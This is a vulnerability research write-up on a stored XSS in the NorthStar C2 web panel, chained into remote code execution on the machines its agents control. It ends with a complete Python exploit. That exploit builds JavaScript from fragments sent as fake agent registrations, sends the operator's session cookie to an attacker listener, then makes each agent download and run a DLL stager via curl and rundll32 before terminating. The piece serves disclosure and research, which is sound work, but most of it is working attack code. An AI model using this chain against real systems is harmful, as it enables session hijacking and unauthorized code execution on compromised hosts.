PoC: https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc

Introduction

Northstar C2 is an open source, web based command and control framework most notably utilized by UNC38901, APT332, and Patchwork/APT-Q-363. I was able to discover a pre auth stored XSS that can be chained too remotely execute code on machines under the control of operators. This allows an attacker to load their own C2 agent and force terminate the Nortstar C2 agent, effectively “stealing” the operator’s access.

I decided to go hunting for vulnerabilities in C2 frameworks after being inspired by @ACEResponder who found issues in both sliver4 and empire5 C2 frameworks.

Finding a target

A good place to find open source projects to target is github topics. Github topics groups repositories with a similar subject area or focus, which is useful if you are trying to find a vulnerability in a particular type of application (in our case, C2 frameworks). For example:

https://github.com/topics/c2

Contains multiple open source command and control frameworks, as well as other C2 related tooling or references. To expand your scope, you can look through similar or synonymous topics such as:

https://github.com/topics/botnet
https://github.com/topics/rat
https://github.com/topics/post-exploitation
https://github.com/topics/backdoor

I selected NorthStar C2 because it was developed in PHP and it had a smaller codebase compared to other frameworks which would make code review faster.

Mapping pre authentication attack surface

I started by mapping pre authentication attack surface. NorthStar C2 implements authentication checks by including a session file at the beginning of each PHP file that requires authentication to access

<?php
include 'session.php';
 ?>

The session.php file will redirect you to login if you haven’t logged in yet.
session.php:

<?php
if (!isset($_SESSION))
  {
    session_start();
    if(!isset($_SESSION["username"])){
    session_destroy();
    header("location: /getin.php");
    die();
    }
  }
?>

To find PHP files not requiring authentication, we can look for every PHP file that does not contain “session.php”. To filter this list of files even further, we can look for files that also contain keywords indicative of potentially attacker-controlled input.

for f in $(find . -name "*.php"); do
	if ! grep -q session.php $f && grep "_GET\|_POST\|_REQUEST\|_SERVER" $f > /dev/null; then
		echo $f
	fi
done

We are left with 6 files.

./chcksid.php
./functions/assignCommand.function.php
./getin.php
./ipAndUserAgent.php
./smanage.php
./update.php

Stored XSS via malicious agent registrations

After reviewing the files, I was able to identify a route in which a portion of an unauthenticated request that would be persistently reflected on the admin web panel without sanitization, allowing for stored XSS. Before diving into the exploitation details, we will need understand the NorthStar C2 stager registration flow. The documentation reads6:

The stager registration process consists of 2 phases;

First phase:

NorthStar Stager sends an unique id value to login.php with HTTP POST method. This value is XORed with a hard-coded key and is in base64 format.
The C2 Server decrypts this value and checks if the unique id starts with a "N", ends with a "q" and is less than 20 characters.If everything checks out, the value is registered into the C2 database.
A second XOR key, which will be used for communications, is transferred from NorthStar C2 Server to NorthStar Stager.
NorthStar Stager receives and registers the XOR key.

These registration routes are accessible prior to authentication (which is required by the design of the application). According to the documentation, some checks will be done to determine a valid ID, but no mention of any more sanitation besides that. Let’s see how these checks are implemented in code.
chcksid.php

<?php
include 'conn.php';
include 'functions/chiper.function.php';
//check if request is valid request
if(isset($_GET["sid"]) || isset($_POST["sid"])){

  $str;
  if(isset($_POST["sid"])){
      $str = decrypt($_POST["sid"], "northstar");
  }
		
  else{
    $str = decrypt($_GET["sid"], "northstar");
  }
  // Check if sid is a valid client sid.
  if ($str[0] === 'N' && $str[strlen($str)-1] === 'q' && strlen($str) < 20) {
	
  }
  else{

    http_response_code(404);
    echo "<html><title>Not Found</title><h1>PAGE NOT FOUND</h1><html>"; 	

    exit;
  }
} 
else{
  //Use header function to send a 404
  http_response_code(404);
  echo "<html><title>Not Found</title><h1>PAGE NOT FOUND</h1><html>";
  //End the script
  exit;
}

The agent ID, saved to the variable $str, has no sanitization in place besides checking the first and last character of the ID, and the length check. Any registration attempt containing an ID that does not fit this criteria will fail. Let’s trace the path of this parameter to it’s sink. The chcksid.php file is included in the stager registration file, login.php. login.php will pass the $str variable (the agent id) into an updateLogs function. Again, we can observe that there are no further sanitazation on the $str parameter
login.php:

<?php
include 'conn.php';
include 'chcksid.php';
include 'functions/registerSession.function.php';
include 'functions/updateLogs.function.php';
include 'ipAndUserAgent.php';


$sessionXorKey = register($conn, $str, $ip);
  if(!strpos($sessionXorKey, 'error'))
   {
     $encKey =  encrypt($sessionXorKey, "northstar");
        echo $encKey;
      updateLogs($conn, "First stage","First stage OK", $agent,$str,$ip);
    }
    else{
      updateLogs($conn, "Error","Er: first stage", $agent,$str,$ip);
    }


?>

We can see that an “updateLogs” function inserts the $str parameter (now $logClient) directly into the database.

function updateLogs($conn, $logType, $logContent, $logUserAgent, $logClient, $logIP)
{

    $updateLog = $conn->prepare("INSERT INTO logs(logDate, logClient, logType, logIP, logUserAgent, logContent) values(NOW(),?,?,?,?,?)");
    if ($updateLog !== false)
    {
        $errorControl = $updateLog->bind_param("sssss", $logClient, $logType, $logIP, $logUserAgent, $logContent);
        if ($errorControl !== false)
        {
            $errorControl = $updateLog->execute();
            if ($errorControl === false)
            {
                return "An error occured: " . $updateLog->error;
            }
        }
        else
        {
            return "An error occured: " . $updateLog->error;
        }

    }
    else
    {
        return "An error occured: " . $conn->error;
    }

}

If these logs were displayed in the web interface, an attacker could send a malicious registration request containing a specially crafted ID that would be displayed to the operators without sanitization. For example, the following agent ID

N<hr>q

Would be a valid agent ID because it starts with an N, ends with a q, and is less then 20 characters. The tag will insert a visible line into a webpage that directly added agent IDs into the DOM. I will demostrate how I was able to escalate this into stored XSS in a moment.

To look for places in the application displaying logs, I ran the following bash command, which finds files querying the logs SQL table

grep -Ri "from logs"

I identified two files that queried the logs table, and on, logs.php was perfect for our purposes. logs.php, as it’s name suggests, displayed server and registration logs to the operators. We can observe the agent ID (logClient) being echoed to the page without sanitization logs.php:

<?php

  $num = 1;
  $result = $conn->query("select logDate, logType, logClient, logContent, logIp from logs ORDER by id DESC");
if($result->num_rows >0){
  while($row = $result->fetch_assoc())
  {
    echo "<tr>"."<td>". $num . "</td>"."<td>" . $row['logDate'] . "</td>" . "<td>".  $row["logType"] . "</td>" . "<td>" . $row["logClient"] ."</td>". "<td>" . htmlspecialchars($row["logContent"]) ."</td>"."<td>" . $row["logIp"] ."</td>". "<td>"  ."</td>" ."</tr>";
    $num++;

  }
}
?>

I was able to confirm HTML injection by spoofing the stager registration process with a “malicious” agent ID

import base64
import requests

def xor_encryption(text, key):
    encrypted_text = ""
    
    for i in range(len(text)):
        encrypted_text += chr(ord(text[i]) ^ ord(key[i % len(key)]))
    
    return encrypted_text

# SID is xor encrypted with hardcoded key and base64
def generate_sid(sid):
    encrypted_sid = xor_encryption(sid, "northstar")
    return base64.urlsafe_b64encode(encrypted_sid.encode()).decode()

# SID must begin with N and end with q and less then 20 chars
def exploit():
    target_url = "http://127.0.0.1/login.php"

    malicious_sid = "N<hr>q"
    params = {
        'sid': generate_sid(malicious_sid)
    }

    requests.get(target_url, params=params, verify=False)

exploit()

meow3

Since we still have the length limit of 20 to deal with, I opted for sending multiple malicious registration requests, each portion of which would be used to incrementally build a functioning javascript payload in the DOM. First, remember that logs.php displays all the logs for the C2, with the newest log entry appearing at the top of the logs table in the HTML. This means that, we could send multiple malicious registration requests with control of up to 18 characters, and each subsequent request’s characters would be placed above the previous in the logs table. Lets demonstrate this with a simple javascript payload.

If there were no maximum length checks, we would send something like this.

N<script>alert(1)</script>q

However, this is 26 characters, so this is not possible…

What if were to use javascript comments? For example, for the first payload, we would send the following as the agent ID, which is less then 20 characters, stars with N and ends with q

N*/</script>q

The second, would be the following

N*/alert(1)/*q

The third

N<script>/*q

Because the newest logs would appear on the top of the table, this javascript snippet would be constructed “in reverse”. The final payload would appear like this in the DOM. If you were to open this in your browser as an html file, we can observe the alertbox triggers!

N<script>/*qN*/alert(1)/*qN*/</script>q

We can test this against the C2 server by modifying the exploit

# SID must begin with N and end with q and less then 20 chars
def exploit():
    target_url = "http://NORTHSTAR_IP/login.php"

    for malicious_sid in ["N*/</script>q", "N*/alert(1)/*q", "N<script>/*q"]: # Send the payload snippets in reverse
        params = {
            'sid': generate_sid(malicious_sid)
        }

        requests.get(target_url, params=params, verify=False)

exploit()

meow2

Nice! We have validated the stored XSS vulnerability. Now we can start developing an exploit to transfer the control of compromised machines to us.

Requests to the web panel are authenticated by the PHPSESSID cookie. If we are able to exfiltrate this cookie, we would be able to make authenticated requests on the operator’s behalf, which includes issuing commands to agents. Let’s add the following snippet to the exploit to exfiltrate the cookie value back to the attacker machine and start a thread that passes that cookie to a steal_agents function.

class Collector(BaseHTTPRequestHandler):
    def do_GET(self):
        cookie = self.path.split("=")[1]
        print("Cookie: " + cookie)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"")
        
        background_thread = threading.Thread(target=steal_agents, args=(cookie,))
        background_thread.start()

        self.server.shutdown()

def steal_agents(cookie):
	...

port = 8080
httpd = HTTPServer(('', int(port)), Collector)
print(f'Server running on port {port}')
httpd.serve_forever()

These are the javascript snippets we will be using for the malicious registrations. It will send the cookie over http to the attacker server in the URL path.

sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]

This is how it will appear on page.

N</td><script>/*qN*/var d=/*qN*/document;/*qN*/var c=/*qN*/d.cookie;/*qN*/var a=/*qfN*/'{h1}';/*qN*/var b=/*qfN*/'{h2}';/*qN*/var h=/*qN*/a+b;/*qN*/var p=/*qfN*/':{port}';/*qN*/var s=/*qfN*/'{protocol}';/*qN*/var u=/*qN*/s+h+p+'/'+c;/*qN*/var i=/*qN*/new Image;/*qN*/i.src=u/*qN*/</script><q

“Pretty” form

</td><script>
var d=document;
var c=d.cookie;
var a='{h1}';
var b='{h2}';
var h=a+b;
var p=':{port}';
var s='{protocol}';
var u=s+h+p+'/'+c;
var i=new Image;
i.src=u;
</script><

Taking over the agents

meow1
After obtaining the cookie, it can be used to perform authenticated actions on the web panel, which includes executing arbitrary commands on agents. The full exploit will loop over every NorthStar agent and instruct it to terminate itself after executing my custom sliver stager7. The javascript payload will fire when a operator navigates to the log page. The logs page also refreshes occasionally to update logs, so if they already have the logs page open it will also fire.

from http.server import BaseHTTPRequestHandler, HTTPServer
from bs4 import BeautifulSoup
import requests
import base64
import threading
import time
import os

class Collector(BaseHTTPRequestHandler):
    def do_GET(self):
        cookie = self.path.split("=")[1]
        print("Cookie: " + cookie)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"")

        background_thread = threading.Thread(target=steal_agents, args=(cookie,))
        background_thread.start()

        self.server.shutdown()

def agent_execute_command(agent_id, csrf_token, headers, command):
    data = {
        'slave': agent_id,
        'command': command,
        'sid': agent_id,
        'token': csrf_token
    }

    r = requests.post(target_url + '/functions/setCommand.nonfunction.php', headers=headers, data=data)

    while True:
        r = requests.get(target_url +  f"/getresponse.php?slave={agent_id}", headers=headers)
        if len(r.text) != 0 or command == "die":
            break
        
        time.sleep(1)

def steal_agents(cookie):
    headers = {
        "Cookie": f"PHPSESSID={cookie}"
    }
    r = requests.get(target_url + "/clients.php", headers=headers)
    soup = BeautifulSoup(r.text, 'html.parser')
    rows = soup.find_all('tr')

    agent_ids = []
    hostnames = []

    for row in rows:
        cells = row.find_all('td')
        if len(cells) != 9:
            continue

        status = cells[7].text.strip()
        if status != 'Online':
            continue

        agent_ids.append(cells[1].text.strip())
        hostnames.append(cells[5].text.strip())


    script_tags = soup.find_all('script')

    csrf_token = None
    for script_tag in script_tags:
        if 'csrfToken' in script_tag.text:
            csrf_token = script_tag.text.split('"')[1]
            break

    if csrf_token:
        print("CSRF Token:", csrf_token)
    else:
        print("CSRF Token not found")
        return

    for i in range(len(agent_ids)):
        agent_id = agent_ids[i]
        hostname = hostnames[i]
        print(f"Stealing {hostname} ({agent_id})...")

        print("Enabling shell mode")
        agent_execute_command(agent_id, csrf_token, headers, "enablecmd")
        print(f"Running sliver cradle: {cradle_command}")
        agent_execute_command(agent_id, csrf_token, headers, cradle_command)
        print("Disabling shell mode")
        agent_execute_command(agent_id, csrf_token, headers, "disablecmd")
        print("Sending suicide to slave")
        agent_execute_command(agent_id, csrf_token, headers, "die")

    
    print("Exploit finished, exiting")
    os._exit(0)


def xor_encryption(text, key):
    encrypted_text = ""
    
    for i in range(len(text)):
        encrypted_text += chr(ord(text[i]) ^ ord(key[i % len(key)]))
    
    return encrypted_text

def generate_sid(sid):
    encrypted_sid = xor_encryption(sid, "northstar")

    return base64.urlsafe_b64encode(encrypted_sid.encode()).decode()

def exploit(target_url, callback_url):
    target_url = target_url.rstrip("/") + "/login.php"

    protocol = callback_url.split(":")[0] + "://"
    host = callback_url.split("/")[2].split(":")[0]
    h1, h2 = host[:len(host)//2], host[len(host)//2:]
    
    if callback_url.count(":") == 2:
        port = callback_url.split(":")[2]
    else:
        if protocol == "https://":
            port = "443"
        else:
            port = "80"

    sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]
    for sid in sid_payloads:
        print(sid)
        params = {
            'sid': generate_sid(sid)
        }

        requests.get(target_url, params=params, verify=False)

def run(port):
    server_address = ('', int(port))
    httpd = HTTPServer(server_address, Collector)
    print(f'Server running on port {port}')
    httpd.serve_forever()

cradle_command = r"curl http://192.168.1.6:8000/stager.dll > c:\users\public\stager.dll & rundll32 c:\users\public\stager.dll,inject & echo DONE"

callback_host = "192.168.1.6"
callback_port = "8080"

target_url = "http://192.168.1.4:80"
callback_url = f"http://{callback_host}:{callback_port}"

print("Sending malicious agent registrations...")
exploit(target_url, callback_url)
print("Registrations finished, waiting for execution...")
run(callback_port)

Disclosure

2024-03-12 Notified developer
2024-03-12 Developer pushes patch